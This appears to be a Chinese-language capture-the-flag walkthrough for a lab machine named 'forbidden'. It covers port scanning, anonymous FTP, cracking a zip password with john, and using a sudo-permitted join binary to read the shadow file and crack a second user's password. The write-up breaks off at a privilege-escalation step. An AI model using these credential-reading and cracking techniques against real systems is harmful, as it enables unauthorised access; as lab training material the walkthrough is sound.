┌──(root㉿kali)-[~/Desktop/tmp/forbidden] └─# nmap 192.168.31.224 -p- Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-12 00:18 EDT Nmap scan report for 192.168.31.224 Host is up (0.0011s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 21/tcp open ftp 80/tcp open http MAC Address: 08:00:27:C3:73:5D (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 5.14 seconds
web页面是一段话
1 2 3
SECURE WEB/FTP 安全 WEB/FTP Hi, Im the best admin of the world. You cannot execute .php code on this server so you cannot obtain a reverse shell. Not sure if its misconfigured another things... but the importart is that php is disabled. -marta 嗨,我是世界上最好的管理员。您无法在此服务器上执行.php 代码,因此无法获取反向 shell。不确定是不是配置错了其他东西......但关键是 PHP 被禁用了。-玛尔塔
The extra-secured .jpg file contains my password but nobody can obtain it.
额外安全的 .jpg 文件包含我的密码,但没有人可以获取它。
扫描一下jpg文件,扫描不到东西
FTP匿名登录
看看ftp服务,可以匿名登陆
1 2 3 4 5
ftp> ls 229 Entering Extended Passive Mode (|||27129|) 150 Here comes the directory listing. drwxrwxrwx 2 0 0 4096 Oct 09 2020 www 226 Directory send OK.
┌──(root㉿kali)-[~/Desktop/tmp] └─# john pas -w=/usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 1 password hash (PKZIP [32/64]) Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status secret (TOPSECRETIMAGE.jpg.out/pass.txt) 1g 0:00:00:00 DONE (2025-06-12 01:45) 100.0g/s 819200p/s 819200c/s 819200C/s 123456..whitetiger Use the "--show" option to display all of the cracked passwords reliably Session completed.
marta@forbidden:~$ sudo -l Matching Defaults entries for marta on forbidden: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User marta may run the following commands on forbidden: (ALL : ALL) NOPASSWD: /usr/bin/join
可以用来读取文件,读取shadow文件,然后用john爆破密码
1
boomer (peter)
爆破出来peter的密码是boomer
setarc提权
1 2 3 4 5 6 7
peter@forbidden:/home/marta$ sudo -l Matching Defaults entries for peter on forbidden: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User peter may run the following commands on forbidden: (ALL : ALL) NOPASSWD: /usr/bin/setarc